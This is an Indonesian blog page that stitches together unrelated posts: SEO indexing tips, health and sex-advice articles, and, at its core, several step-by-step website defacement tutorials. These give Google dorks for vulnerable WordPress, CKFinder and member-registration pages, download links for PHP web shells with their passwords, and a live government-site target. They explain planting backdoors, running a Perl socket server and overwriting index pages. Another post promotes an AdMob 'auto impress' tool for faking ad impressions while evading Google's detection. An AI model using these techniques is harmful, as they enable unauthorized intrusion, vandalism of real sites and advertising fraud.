• Download Anz Komik Apk

    Anz Komik adalah aplikasi baca komik gratis dengan lebih dari 1000 judul komik mulai dari Manga, Manhwa dan Manhua yang sudah dirilis dalam versi bahasa Indonesia.

  • Tujuan Pembentukan LBB

    Liga Bangsa-Bangsa beranggotakan 28 negara sekutu dan 14 negara netral. Tujuan pembentukan LBB pada waktu itu adalah untuk:

  • Daftar lagu soundtrack piala dunia (1990-2018)dan piala eropa (2000-2020)

    1.Gianna Nannini dan Edoardo Bennato-Un'estate (World Cup 1990) 1.1 We Are the Champions - Queen (World Cup 1994) 2.Ricky Martin - La Copa De La Vida (World Cup 1998)...

Senin, 31 Desember 2018

Tutorial Deface dengan cara Wp Add Admin


Setelah sekian lama share berita berita trus, Kini saatnya Share cara deface Wp Add Admin

Kita memanfaatkan pada form loginnya, ok langsung aja ya bahan bahannya dan caranya

Bahan Bahan :

1. Dork : inurl:/wp-login.php?action=register site:in [ Site bisa diganti sesuai keinginan ]

2. Email yang aktif , karna email kita digunain untuk mengaktifkan user &  password yg kita daftarkan

3. File zip yang digunakan untuk upload shell saat nanti udh selesai register, bagi yg blm punya file zipnya kalian bisa download disini ~> Klik Disini!! , Kalo link pertama rusak/gabisa kalian bisa download disini ~> Link Download ke 2
Isi dari file zip tersebut
- shellmini
- shellbesar
- shellxai dll nya

4. wajah yg ganteng >:( , kalo gk gans ya gabisa pekok >:( awokakoaowk canda :v


Caranya guys :*

1. Hal 1 seperti biasa gan klean dorking dlu menggunakan dork diatas ke mesin pencarian Google awokawok :v

2. Kalo udh dorking nah , pilih salah satu website yg tampilannya sperti ini atau yg tampilannya di bawahnya ada form register , ini contohnya


Liat yg dilingkari kan? nah itu dia form registrasinya

3. Slnjutnya kita klik registrasi , dan masukkan email yg aktif beserta username terserah kalian klo usernamenya , contoh kya gini


4. Nah klo udh registrasi , kalian cek email kalian, nnti di email klean ada link aktivasi buat membuat passwordnya

5. Kalo klean udh selesai registrasi , nah login dengan username dan password yg klean buat tadi... Jika berhasil login. kita masuk sebagai admin. contoh lihat gambar


6. Nah kita udh msuk sebagai admin nih, Lalu gimana caranya upload shell? Gimana? Iya kalem w kasih tau caranya
Ok di dashboard admin, kalian cari tulisan [ Plugin ] *Tanpa tnda kurung
Lihat gambar



7. Nah selanjutnya kalian upload file yg format zip tadi , uploadnya di plugin ea :v
Kalo upload nya berhasil maka akan kya gini tampilannya


Pokoknya klo upload brhsil , ada tulisan [ akrivate plugins ]

8. Nah kan file udh ketanem, selanjutnya kita mencari akses shellnya, gimana nyarinya? iya gimana ea?
Ok gini caranya kalian tinggal tambahkan contoh
www.site.com/wp-content/plugins/namafilelu/jenisshellnya
Contoh kya gini liat gambar


9. Nah itu dia contoh nyari akses shellnya... Btw shell w udh ke upload ea :v, wkwkwk nah klo akses shell udh ketemu trus mau diapain tuh? wkwkwk silahkan tebas index... tapi saran sih kalo tebas index backup indexnya gan
Hargain webmaster dari website tersebut gan :v pakai Ethica Hacking lo :v

dah ya tutorialnya cukup smpe disini aja ya...
Ok sekian. see you next time guys :*

Cara Biar Artikel Blog Cepat Terindex Google

Hei bro, di kesempatan kali ini admin crash seo akan mengembangkan trik bagaimana cara biar artikel atau postingan blog Anda dapat cepat terindex Google. Jika Anda seorang blogger dan Anda gres saja mempublish artikel, apakah artikel Anda dapat eksklusif ditemukan lewat mesin pencari Google? Mungkin kalau blog Anda sudah populer dan punya banyak followers dapat eksklusif ditemukan. Tetapi untuk blog-blog gres mungkin membutuhkan waktu biar artikelnya dapat ditemukan oleh Google. Bisa dalam hitungan hari, minggu, bahkan bulan.
 akan mengembangkan trik bagaimana cara biar artikel atau postingan blog Anda dapat cepat terinde Cara Agar Artikel Blog Cepat Terindex Google
Untuk mengatasi hal tersebut, saya sarankan untuk blog-blog gres melaksanakan cara ini biar pengunjung dapat eksklusif menemukan artikel Anda di Google. Bagaimana caranya? silahkan ikuti langkah-langkah dibawah.

Langkah 1 : Login ke Webmaster menggunakan akun Google, kemudian pilih blog Anda.

Langkah 2 : Jika sitemap blog Anda belum terdaftar. Pilih sajian Sitemaps, tambahkan sitemap.xml, kemudian klik Submit. Lihat gambar dibawah. Jika sudah terdaftar, lewati langkah ini & lanjut ke Langkah 3.



Langkah 3 : Pilih sajian URL Inspection, isi kolomnya dengan url artikel Anda, kemudian tekan Enter. Jika muncul menyerupai gambar dibawah, berarti artikel Anda belum terindex google.

 akan mengembangkan trik bagaimana cara biar artikel atau postingan blog Anda dapat cepat terinde Cara Agar Artikel Blog Cepat Terindex Google

Langkah 4 : Klik Request Indexing dan tunggu sampai prosesnya selesai. Jika sudah simpulan lakukan langkah no 3 kembali dan lihat hasilnya. Jika akhirnya menyerupai gambar dibawah berarti artikel Anda sudah terindex dan dapat dicari di Google.

 akan mengembangkan trik bagaimana cara biar artikel atau postingan blog Anda dapat cepat terinde Cara Agar Artikel Blog Cepat Terindex Google



Selesai.. dan begitulah caranya biar artikel atau postingan Anda dapat terindex di google dengan cepat. Jika ada yang belum dimengerti silahkan tulis di kolom komentar. Sekian dan semoga bermanfaat.

Cara Agar Artikel Blog Sangat Cepat Terindex Oleh Google TERBARU

Oke sebelumnya kita sudah membahas Bagaimana Cara Agar Artikel Terindex Oleh Google Namun sepertinya kalian tidak puas akan hal itu saja, kali ini mimin akan share Tentang ini.

Sebelum Masuk kepembahasan akan lebih baik kalian tau mengenai tentang artikel atau blog baru buat terindex Google.

Setiap kali kita membuat blog belum tentu blog baru kita akan tampil di mesin pencari google,salah satu cara mengetahui blog kita sudah terindex di google atau belum adalah dengan menulis nama domain kita di mesin pencari namun untuk lebih detail anda harus menulis site:namadomain.com sebagai contoh site:crash-seo.blogspot.com atau sebuah blog baru di buat belum tentu langsung akan di index di google,bergitu juga dengan artikel baru kita buat,terkadang butuh waktu 3-7  hari artikel baru kita baru muncul di mesin pencari / google.tetapi ada sebagai artikel dan blog baru yang tidak di index di google sama sekali dan membutuhkan waktu 3 sampai 1 bulan biar terindex, sangat menyedihkan.

Maka dari itu mimin akan share tutorial supaya website kalian atau postingan kalian langsung masuk ke mesin pencarian google nih, caranya cukup mudah ko cukup simak ini baik baik Kalian akan langsung mengerti !!
   
Cara Agar Artikel Langsung Terindex Oleh Google Terbaru 

 Assalamuallaikum Wr,Wb , Sebelumnya saya ucapkan terima kasih kepada kalian yang sudah mengunjungi website ini, pada pertemuan kali ini mimin akan share nih cara terbaru dari Cara Agar Artikel Langsung Terindex Oleh Google Terbaru.

Kita langsung saja ke tahap tutorialnya.
Langkah Langkahnya Adalah:

     1.  Kunjungi Google WebMaster Tools / Google Search Console
     2.  Daftar Pake Akun google kalian dan Masukan Situs kalian disitu
     3.  Jika Sudah masuk ke Dasboard WebMaster Tools Tekan Inspeksi URL


     4. Masukan Link Postingan kalian diatas itu Lalu kalian tekan Enter.


     5. Setelah itu kalian tekan MINTA PENGINDEKSAN
     6. Tunggu hingga satu atau dua menit biasanya akan selesai.
     7. Setelah selesai tekan lagi UJI URL AKTIF dan tunggu beberapa saat
     8. Selesai Website kalian sudah langsung terindex diGoogle

Sangat mudah bukan Cara Agar Artikel Langsung Terindex Oleh Google Terbaru 

Setelah melakukan tutorial itu tinggal kalian cek Saja digoogle seperti ini contohnya
site:http://crash-seo.blogspot.com
ganti domainnya sama punya kalian yak :* Oke sampai situ saja yang bisa mimin sampaikan kepada kalian semoga bermanfaat untuk kalian semua.
  Kesimpulan yang bisa kita ambil adalah Google itu robot dan robot pasti ada pengendalinya jika bukan kita yang mengendalikannya lalu siapa yang akan mengendalikan robot itu? yang jelas kita semua!

Download Tool Admob Auto Impress Full Fitur - Sekode

Download Tool Admob Auto Impress Full Fitur
Selamat pagi agan-agan semua.. selamat tahun baru 2019, apa harapan anda di tahun 2019 ini? semoga di tahun baru ini banyak membawa perubahan positif untuk diri kita semua yaa, Amiin.

Baiklah di awal tahun ini saya mau share tool admob auto impress full fitur gratis untuk kalian semua.

Apa saja keunggulan tool admob auto impression ini?


  1. Support Semua Iklan
  2. Responsif Load Ads
  3. Auto Clear Cache
  4. Auto check IP Address
  5. Reset ID ADS

Fitur di atas adalah sebagian dari fitur tool ini, saya akan bahas poin-poin diatas dulu yaa.

Support Semua jenis iklan, yaa tool impress ini support semua jenis iklan banner, smart banner, large banner, full banner, interstitial, rewarded video ads.

Download Tool Admob Auto Impress Full Fitur

Responsif load ads, sangat responsif saat melakukan imrpress, gak lemot, gak bolong-bolong meskipun koneksi lagi nggak stabil.

Auto clear cache, di aplikasi ini anda bisa langsung melakukan clear cache agar aplikasi tetap ringan dan nggak lag.

Download Tool Admob Auto Impress Full Fitur

Auto check IP Address, nah menurut saya inilah yang paling ngebantu banget, saat kita melakukan impress menggunakan IP yang sudah ditentukan oleh kita lalu misalnya secara tiba-tiba VPN yang kita pakai terputus/disconect maka tool ini akan segera secara otomatis berhenti melakukan impression. Jadi kita gak perlu khawatir VPN kita bocor.

Reset ID ADS, ini juga ngebantu banget, kita bisa melakukan reses ID Ads. tujuannya agar meminimalisir deteksi google, jadi pokoknya aman dan nyaman banget lah pake aplikasi tool admob auto impress yang satu ini.

Kalian bisa lihat video-nya dibawah ini sebagai bahan review


Gimana? kalian tertarik ingin mencobanya? baikalah, dari pada kalian semua penasaran mending langsung aja download tool-nya disini

Download juga aplikasi pendukung seperti Aplikasi VPN dan Apk Editor Pro dibawah ini jika sewaktu-waktu ingin mengganti packagename.

Apk Editor Pro
- Aplikasi VPN

Oke, selamat mencoba dan sampai disini dulu pembahasan kali ini. semoga postingan ini bisa bermanfaat buat kalian semua, jangan lupa share biar para tuyul-tuyul yang lain bisa mencoba kecanggihan tool admob auto impress full fitur  dari SEKODE. Terimakasih, sampai jumpa lagi!

Tutorial Deface Dengan Cara Socket Server With Perl

Pernah denger kasus web memecomic.id di hack? pernah denger? ya si peretas hanya menitipkan file di web memcomic , klo udh tau beritanya baguss guud :v
Nah sekarang ane mau kasih tau nih cara hack seperti kasus web memecomic.id
Cara ini ane dapet + cara ini bersumber dari forum IndoXploit

Nah sekarang ane kasih tau caranya nih , DEFACE DENGAN SOCKET SERVER WITH PERL

Bahan Bahan :

#Yg hrus kalian punya itu File perl , ane udh sediain nih file perl nya silahkan di download disini
  Download
  Nanti file perl nya lu edit aja sendiri nomor portnya sama tambahin nick lu ok oc :v

#Syarat kedua lu harus punya website yg udh lu tanem shell backdoor , nanti akan di upload trus dijalankan file perl lu :v

#jangan lupa makan sama minum :*

Caranya neh >:(

1. lu buka web yg udh lu tanem shell, tapi liat dlu , perl nya ON apa gk , cara lihatnya bisa dari sini ada shell bagian atas



2. lu buka website yg udh lu tanem shell , Trus ke form upload, nah upload file perl yg tdi lu download , nah ini ane ss file perl yg udh ane upload



3. nah klo udh di upload sekarang jalankan file perlnya di menu [ Command ] udh ada di dlm shell , lu ketik ini di menu command [ perl oh.pl ] TANPA TANDA KURUNG ,, Trus enter lalu tunggu sebentar biasanya agak lama



4. klo udh di ketik itu , sekarang kita cek websitenya , contoh : site.com:1337
    - 1337 = Nmor port yg di file oh.pl



5. Nah itu hasilnya kaya gitu , tinggal tambahin nomor port yg di file oh.pl
Gomana udh ngerti? Klo ada yg kurang ngerti bisa contact ane di fb

Ok sekian .... See You Next Time Guys :*

Tutorial Deface Dengan Cara CKFinder

Oh ea sbenernya oe masih ngantuk neh :v , Semalem oe bobo jam 2 pagi :( , Tapi oe pagi pagi gini mau tebar ilmunya neh :v yaituuuuuuu :v
DEFACE DENGAN CARA CKFINDER
Jreng boom :v , Mungkin sebagian udh tau deface dengan cara ini , tapi apa salahnya kita untuk mencoba lagi trus mencoba trus mencoba dan mencoba :v dan mengasih tau bagi yg blm tau :v
Kebetulan deface dengan cara ini msih banyak web yg vulnerability mungkin ada disekita 20++ web yg vuln cara ini , GOOGLE pun juga bisa di deface pke cara ini :v , awokaokaowkk dasar heker jaman now :v ... Langsung aja ya bahan dan cara caranya :v

Bahan Bahan :

# Dork : inurl:/CKfinder/CKfinder.html site:com [ Site bebas mau apa aja bisa .com .org .in go.id .gov pokoknya bebas ]

#Kali ini kita hanya membutuhkan sebuah teks, tulisan [ Pke script deface juga bisa sih tapi jarang , kebanyakan hanya teks doang ] ,, krna deface ini hnya pke teks sama gambar doang mungkin bagi yg blm punya teksnya bisa di download disini teks nya >> https://ufile.io/v0rpj

#Koneksi Internet yang kenceng ea :*


Langsung aja caranya disni :

1. Seperti biasanya kita buka mesin pencarian senior kita yaitu https://google.com Ok kalo udh search di google sekarang pilih salah satu webnya, lihat gambar




2. nah sekarang buka web yg klean pilih , penampakannya akan seperti ini lihat gambar



3. selanjutnya kita upload text yg kalian download diatas tdi, udh ane kasih kan? nah iya sekarang upload textnya , klo udh ke upload akan muncul text kalian yg tadi , seperti ini lihat gambar :v text yg ane upload nmanya anonymous tuh lihat gmbar :v


4. karena itu ane udh coba upload dalam format teks , sekarang ane mau coba upload dalam bentuk gambar, klo kalian mau upload sebuah gambar bisa klik di folder [ Images ] nah trus nanti klik upload, boom ane udh berhasil upload gambarnya yg namanya palestina.jpg itu gambar ane :v ,lihat gambar :v



5. Nah file teks sma file gambar udh ke upload sekarang kita klik kanan pada file/gambar yg udh kalian upload tadi , lalu pilih view dan jreng jreng jreng ini dia hasil gambar yg udh ane upload tadi :v



6. OH IYA bagi kalian yg upload gambar trus susah cara cari gambarnya atau cara buka gambarnya seperti diatas , nih ane kasih patch nya aja tinggal tambahin nama gambar lu di akhir url nih patchnya

http://birodikmental.jakarta.go.id/extra/ckfinder/core/connector/php/media/ckfinder/images/palestina.jpg   [ YANG PALESTINA.jpg Ganti dengan nama gambar yg udh lu upload tadi ] Ngerti kan? Klo ga ngerti chat oe aja :v


7.Oh iya udh pada ngerti kan? pasti dong ya lach kan udh pro >:(
 yaudh oh iya tuh ane kasih live target juga buat bahan percobaan bagi yg pemula hehehe :v
ok ane pamit ea fans :* :*

oh ea klo ada yg ga ngerti langsung chat ane aja di ? Dimana ? Dimana aja :v

ok sekian dolo ea tutor defacenya nanti ane balik lagi , ngasih tutor tutor yg lebih zeeb :v ok sekian

Tutorial Deface Dengan Cara Register Member


Hoaaam ane ngantuk gan :( ,,, tapi ane keinget ada 1 tutor lagi yg masih banyak yg vulnerability , ya jadi apa salahnya ane tulis disini berbagi ilmu itu indah, jadi jangan merasa pling tinggi trus lupa sma yg dibawah h3h3,,
Jadi gini cuy w mau kasih tau neh tutor deface dengan cara REGISTER MEMBER nah napa kaget y asu? >:( sp yg kaget sene? w sleding satu satu h3h3 :v
Nah kebetulan deface pke dengan teknik ini hampir sama dengan teknik deface Ojs sama sama register cuman bedanya gk susah cari akses shellnya. udah ah langsung ae ye? ok gass ngeng ngeng :V


Bahan Bahan :
#Dork : inurl:media.php?module=daftar
             inurl:/register.html intext:"Share this article"
            [ Kembangin lagi dorknya ]

#Shell backdoor/ Script deface 
   Shell format .php5 download disini > https://uploadfiles.io/ervxh password shell : akugans
   Shell format .phtml download disni > https://uploadfiles.io/72upn password shell : akugans

#Inget wajah yang ganteng , sama apalagi ea?? Oh iya inget hrus ada koneksi internet , jangan bilang selama ini klean ngerjain ini gk pke koneksi internet >:( , udah ah oe ngantuk langsung aja ya caranya


Langsuk disimak caranya dibawah ini , cekidot :*

1. Hal 1 yg harus klean lakukan adalah buka gugel/gogel/google/ggoollee/apalah pokoknya :v, ya buka gugel trus search menggunakan dork diatas, nah pilih salah satu website nya bukan salah satu video b*kepnya :(

2. jika klean udh memilih salah satu website, selanjutnya klean Register Sebagai Member dlu di website yg klean pilih, Nih ane aja register masa kamuu ngga? :(



3. Kalo udh selesai register , kadang tempat buat upload shell ada di dalem kadang di luar , klo sperti gmbr yg di atas itu tmpt upload shellnya ada diluar , ok selesai register silahkan login , nih ane aja mau login masa kamu yg cantik gk login :*




4. Nah klo udh berhasil masuk sebagai member saatnya klean berjoged dolo goyang goyang asique jungkirbalik kalo perlu :v, dah ah asu jadi alay gini >:(..... Ok next jika klean udh masuk sebagai member sekarang saatnya cari tempat [EDIT PROFIL] mungkin beda web beda nmanya juga kli ya :v, yah pokoknya tmpt buat edit data data lu sma edit foto profil lu sebagai member kayak gini



5. Oh iya , Karena tadi ane tempat buat upload shell/upload script ada di form register jadi di dalam gk ada tmpt upload shell karena kan tdi udh diluar, mungkin beda website beda juga jenisnya :v
Oh iya inget upload shellnya harus ber extensi shell.phtml sama shell.php5 klo yg blm ada shell bisa di download dii atas udh ane sediain :v


6. Nah kalo klean sudah upload shell kalian di tempat foto profil kalean langsung aja klik kanan terus pilih [Open Image In New Tab] klo berhasil pasti bakal muncul shellnya, klo gk berhasil ya gk muncul shellnya, eh iya gan kebetulan ane berhasil neh upload shellnya dan jreng jreng door door




7. Nah klo udh berhasil upload shell klean mao apa? krik krik krik awokaowkaokwakw :v
Oh ea klo mau tebas indexnya gw saranin backup indexnya coy kasihan adminwebnya nanti :v. ok guuuud :v
Jadi gini gan saia udh ngantuk ini :( , sekarang malming ea gan ? walaaach :(
udah ea saia pamit sekian dolo tutorial dari ane kali ini , klo ada yg kurang ngerti bisa langsung contact oe ok ea ane pamit
Wassalamualaikum Wr Wb :* :)


Custom Search Engine Adsense Sesuai Label Post Atau Keyword Dalam Postingan Blog



Jawabannya tentu saja bisa. Kita bisa mengedit custom search engine agar iklan yang ditampilkan sesuai dengan label post atau bisa dengan target keyword tertentu (sebaiknya dengan keyword yang masih berhubungan dengan niche blog) dan kita menampilkannya di dalam postingan blog.
Tentu saja dengan ini kita tidak tergantung pada pengunjung yang melakukan pencarian agar melihat atau mengklik iklan

Rayakan Tahun Baru di Keramaian? Awas Terkena Penyakit Ini

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

tahun-baru-doktersehat
Photo Source: Flickr/gotovan

DokterSehat.Com– Perayaan tahun baru memang akan lebih seru untuk dilakukan di tengah-tengah keramaian. Biasanya, ada hiburan berupa panggung musik atau bahkan pesta kembang api yang tentu sangat meriah di tengah kota. Hanya saja, karena kita berdesak-desakan dengan banyak orang, maka kita juga akan lebih rentan untuk tertular penyakit.

Beberapa penyakit yang bisa menular melalui keramaian

Berada di tengah-tengah keramaian memang membuat kita lebih rentan tertular berbagai macam penyakit, apalagi di tengah-tengah musim hujan seperti sekarang ini, musim dimana banyak orang cenderung mudah jatuh sakit.

Berikut adalah beberapa penyakit yang bisa menyerang kita jika merayakan tahun baru di keramaian.

  1. Flu

Pakar kesehatan menyebut flu atau influenza cenderung lebih mudah menular jika kita berada di tengah-tengah keramaian seperti saat perayaan tahun baru atau melihat pertunjukan. Flu yang disebabkan oleh virus ini bisa menyerang hidung, tenggorokan, dan paru-paru. Gejala dari penyakit ini bisa berupa batuk, pilek, nyeri pada tenggorokan, atau bahkan demam.

Biasanya, penularan penyakit disebabkan oleh percikan air liur saat seseorang bersin atau batuk-batuk di dekat dengan orang lain.

  1. Diare

Diare atau gangguan pencernaan lain bisa menyerang kita jika merayakan tahun baru di keramaian. Hal ini disebabkan oleh kecenderungan kita yang mengonsumsi makanan atau minuman apa saja yang bisa didapatkan di tempat tersebut. Masalahnya adalah, seringkali makanan atau minuman ini tidak higienis. Ditambah dengan tangan kita yang cenderung kotor dan tidak akan sempat mencuci tangan, maka makanan yang kita konsumsi bisa jadi telah dipenuhi dengan berbagai macam kotoran, debu, atau kuman yang tentu akan menyebabkan gangguan pencernaan seperti diare.

Pakar kesehatan menyarankan kita untuk membawa bekal sendiri seperti air minum atau camilan yang tentu lebih bisa dipastikan kebersihannya. Selain itu, kita juga sebaiknya membawa hand sanitizer agar bisa mencuci tangan sebelum makan di keramaian.

  1. Demam tifoid

Demam tifoid atau yang lebih kita kenal sebagai tifus disebabkan oleh bakteri bernama salmonella tiphy. Jika kita terkena infeksi karena bakteri ini, maka kita akan mengalami gejala seperti demam parah, sakit kepala, nyeri pada perut, diare, hingga konstipasi.

Pakar kesehatan menyebut penularan dari penyakit ini seringkali disebabkan oleh kebiasaan mengonsumsi jajanan dengan sembarangan. Sebagai contoh, jika kita makan makanan yang dijajakan di pinggir jalan atau di tengah-tengah keramaian seperti saat perayaan tahun baru, bisa jadi makanan-makanan ini memiliki bakteri salmonella tiphy yang akhirnya menyebabkan datangnya penyakit ini.

  1. Cacar air

Cacar air adalah penyakit yang dipicu oleh virus varicella zoster. Gejala dari penyakit ini adalah munculnya benjolan berukuran sangat kecil yang berair dan terasa sangat gatal. Gejala lain dari penyakit ini adalah munculnya demam, penurunan nafsu makan, sakit kepala, atau badan yang terasa lemas.

Bagaimana bisa cacar menular saat kita menikmati tahun baru di keramaian? Pakar kesehatan menyebut perayaan tahun baru bisa membuat kita berdesak-desakan dan akhirnya membuat kita bisa saja melakukan kontak langsung dengan orang yang menderita penyakit ini. Selain itu, jika penderita cacar air batuk-batuk atau bersin dan memercikkan air liur kea rah kita, maka risiko untuk terkena penyakit ini akan meningkat.

Sebaiknya tidak datang ke perayaan tahun baru?

Pakar kesehatan menyebut kita boleh-boleh saja datang ke perayaan tahun baru meski kondisinya sangat ramai hingga membuat kita berdesak-desakan. Hanya saja, pastikan bahwa kondisi tubuh kita sedang sehat dan fit sehingga sistem kekebalan tubuh cukup kuat untuk menangkal berbagai jenis penyakit. Jika perlu, pakailah pakaian panjang agar tidak mudah terkena kontak langsung dengan orang lain dan memakai masker sehingga tidak mudah tertular penyakit.



Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

7 Zona Sensitif Pria dan Wanita yang Jarang Disentuh Saat Bercinta

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

zona-sensitif-pria-dan-wanita-doktersehat

DokterSehat.Com – Melakukan pemanasan yang intens saat bercinta akan membuat seseorang mendapatkan kenikmatan yang besar. Bahkan, pada wanita yang jarang sekali mendapatkan orgasme, pemanasan akan membuat mereka mendapatkan kenikmatan. Bahkan, wanita bisa orgasme berkali-kali.

Sayangnya tidak semua pasangan mampu melakukan seks yang hebat. Alih-alih mengetahui bagian tubuh mana yang cocok untuk dirangsang, beberapa pasangan langsung melakukan penetrasi. Padahal mereka tidak disarankan untuk melakukan itu secara langsung. Lebih baik melakukan eksplorasi pada beberapa bagian tubuh ini terlebih dahulu.

Zona sensitif yang jarang dirangsang pasangan

Zona sensitif yang ada pada pria dan wanita ini memang jarang sekali disentuh atau banyak yang tidak tahu. Kalau Anda ingin memberikan pengalaman baru pada pasangan, ada baiknya untuk melalukan rangsangan di bagian tubuh berikut ini.

  1. Puting payudara pria

Faktanya tidak semua pria suka dengan rangsangan yang diberikan ke area payudaranya. Berbeda dengan wanita yang menyukainya, pria menganggap rangsangan di puting hanya untuk pria homoseksual saja. Padahal tidak, semua pria bisa menikmatinya dengan maksimal.

Kalau Anda ingin mencoba menikmati rangsangan di area puting, minta pasangan memainkan bibir dan lidahnya. Selain itu, pasangan bisa menggunakan pelumas di area itu lalu diusap-usap perlahan-lahan.

  1. Wajah

Wajah juga area sensitif sebenarnya khususnya area bibir. Memberikan kecupan hangat di pipi atau melakukan ciuman yang intens bisa memberikan rangsangan yang sangat kuat. Lakukan aktivitas ini perlahan-lahan agar bisa menikmatinya dengan maksimal dan terangsang dengan sempurna.

  1. Kaki

Kaki juga memberikan rangsangan kalau dirangsang dengan baik. Saat memberikan rangsangan, Anda tidak perlu memiliki fetish kaki lalu memberikan jilatan di sana. Anda cukup memberikan pijatan lembut di kaki untuk membuat pasangan menjadi nyaman. Saat pasangan nyaman, mereka akan mudah sekali terbawa suasana sehingga seks bisa berjalan lancar.

Sebelum memberikan rangsangan di kaki ada baiknya merendam kaki dengan air hangat. Selanjutnya beri sabun atau pewangi lain agar bau kaki hilang.

  1. Paha dalam

Paha dalam juga merupakan zona rangsangan yang memberikan kenikmatan besar pada padangan khususnya wanita. Cara terbaik untuk memberikan rangsangan di sana adalah dengan sentuhan yang lembut atau menggesekkan kemaluan di sana bergantian. Kalau Anda tidak masalah memainkan bibir dan lidah, pasangan akan mendapatkan sensasi nikmat yang lebih besar.

  1. Perineum

Perineum jarang sekali diberikan rangsangan khususnya pada pria karena wanita tidak mengetahuinya. Padahal area di bawah kantung zakar itu sangat sensitif dan bisa membuat pria terangsang dan mendapatkan ereksi dengan sempurna. Oleh karena itu saat memberikan seks oral, jangan lupakan area mungil itu.

Oh ya, perineum memang dekat sekali dengan anus. Kalau Anda merasa jijik saat akan memberikan rangsangan di sana ada baiknya untuk mandi dengan bersih terlebih dahulu. Kalau mandi dahulu area perineum akan lebih bersih sehingga rangsangan yang lebih besar bisa diterima pria dan wanita.

  1. Bagian bawah dada

Bagian dada dari wanita yang paling banyak dirangsang oleh pria adalah bagian putingnya. Area itu kerap dirangsang dengan menggunakan jari tangan, bibir, dan juga lidah bergantian. Selain zona areola itu, pria seharunya merangsang juga di bagian bawah dada atau bulatan yang menggembung.

Area itu juga memberikan rangsangan yang besar pada wanita. Bahkan, mereka akan mendapatkan sensasi seks yang baru dan membuat ketagihan. Lakukan rangsangan di bagian bawah dada bergantian dengan putingnya agar wanita mendapatkan banyak sekali kejutan.

  1. Area perut dan pusar

Area perut dan pusar selama ini jarang sekali dieksplorasi oleh pria atau wanita. Daripada melakukan rangsangan di sana, beberapa pasangan lebih memilih ke payudara atau langsung ke arah kemaluan. Padahal perut juga bisa memberikan rangsangan yang besar khususnya di area pusar.

Kalau Anda ingin memberikan rangsangan di perut, gunakan tangan dengan lembut lalu berlanjut ke pusar. Kalau ingin yang lebih besar lagi rangsangannya, bisa menggunakan bibir dan juga lidah. Kalau pasangan suka dengan perlakukan ini, lanjutkan, jika tidak bisa beralih ke bagian lainnya.

Tips memberikan rangsangan seksual yang benar

Memberikan rangsangan tidak hanya asal sentuh saja. Ada banyak hal yang harus dilakukan agar aktivitas tersebut berjalan dengan lebih lancar dan membuat kedua belah pihak menikmatinya.

  • Kenali dan ketahui zona erotis yang dimiliki oleh pasangan. Daftar di atas hanyalah contoh saja. Lebih dari itu, pasangan harus benar-benar mengenali tubuh pasangan satu dengan lainnya.
  • Tidak semua pasangan menikmati rangsangan di bagian tubuh yang sama. Oleh karena itu sebelum memberikan sentuhan ada baiknya untuk meminta izin terlebih dahulu. Kalau pasangan mengizinkan Anda bisa melanjutkannya. Kalau tidak bisa bertanya bagian tubuh mana saja yang bisa disentuh.
  • Selalu tanyakan apakah rangsangan yang diberikan sakit atau tidak. Beberapa tempat memang cocok untuk tempat rangsangan. Namun, setelah wanita terangsang maksimal, area itu jadi sensitif. Menyentuhnya saja bisa menyebabkan rasa sakit yang cukup kuat. Oleh karena itu, jangan sepelekan komunikasi.
  • Usahakan lakukan bergantian agar tidak kebingungan memberikan respons. Misal pria memberikan rangsangan terlebih dahulu ke wanita lalu sebaliknya. Dengan melakukan hal ini kenikmatan yang dirasakan akan besar dan pasangan akan merasa lebih diperhatikan.

Melakukan seks mungkin terlihat mudah. Namun, memberikan kenikmatan pada dua belah pihak di waktu yang sama sedikit susah dilakukan. Oleh karena itu, pasangan harus saling belajar satu dengan yang lain agar aktivitas seks yang dilakukan bisa berjalan dengan lebih lancar dan menggairahkan.



Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Benarkah Terompet Tahun Baru Bisa Tularkan Penyakit?

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

terompet-tahun-baru-doktersehat
Photo Source: Twitter/Jimietan

DokterSehat.Com– Pesta tahun baru sepertinya tidak lengkap tanpa adanya terompet tahun baru. Terompet ini bisa dengan mudah kita dapatkan di penjual pinggir jalan. Hanya saja, ada anggapan bahwa terompet tahun baru ini bisa menularkan penyakit karena telah dicoba oleh banyak orang, khususnya pembeli atau pembuatnya. Sebenarnya, apakah anggapan ini memang sesuai dengan fakta medis?

Beberapa penyakit yang disebut-sebut ditularkan oleh terompet tahun baru

Beberapa penyakit yang dianggap berpotensi ditularkan oleh terompet tahun baru adalah TBC, HIV, hepatitis, kanker mulut, kanker lidah, kanker darah, dan lain-lain. Karena adanya anggapan bahwa air liur banyak orang bisa tersembur saat mencoba terompet, maka virus atau penyebab dari penyakit ini bisa ikut keluar dan menularkannya ke orang lain yang juga mencoba terompet tersebut.

Hanya saja, menurut pakar kesehatan dari Fakultas Kedokteran Universitas Indonesia Prof. Dr. dr. Ari Fahrial Syam, anggapan ini tidak benar, khususnya dalam hal penularan kanker. Menurut dr. Ari, kanker tidak bisa menular karena mencoba terompet tahun baru.

“Memang, virus penyebab kanker mulut seperti human papilloma (HPV) bisa menyebabkan penularan penyakit, namun, penularan ini biasanya terjadi akibat pertukaran cairan tubuh langsung, bukannya melalui perantara seperti dari terompet karena virus-virus ini biasanya sudah mati saat terpapar udara luar,” terang dr. Ari.

TBC bisa menular melalui terompet tahun baru?

Salah satu isu penyakit yang dianggap bisa menular melalui terompet tahun baru adalah TBC. Menurut dr. Ari, kuman penyebab penularan TBC tidak bisa benar-benar memberikan dampak melalui kontak singkat layaknya virus flu. Kontak kuman ini harus lama atau terus-menerus. Sebagai contoh, kita tinggal di rumah atau ruangan yang sama pada penderita TBC sehingga sering terpapar kuman penyebab penyakit ini sehingga akhirnya memicu penularannya.

Terompet tahun baru bisa menyebabkan penularan difteri?

Banyak orang yang khawatir untuk membeli terompet tahun baru karena khawatir akan tertular penyakit difteri. Menurut Anis Karuniawati yang berasal dari Fakultas Kedokteran Universitas Indonesia, hal ini memang memungkinkan untuk terjadi.

“Difteri bisa menular karena percikan air ludah. Jika sampai percikan air ludah ini menempel pada ujung terompet yang ditiup saat dicoba namun tidak jadi dibeli, maka orang lain yang membeli terompet ini secara teori rentan tertular difteri<” ucap Anis.

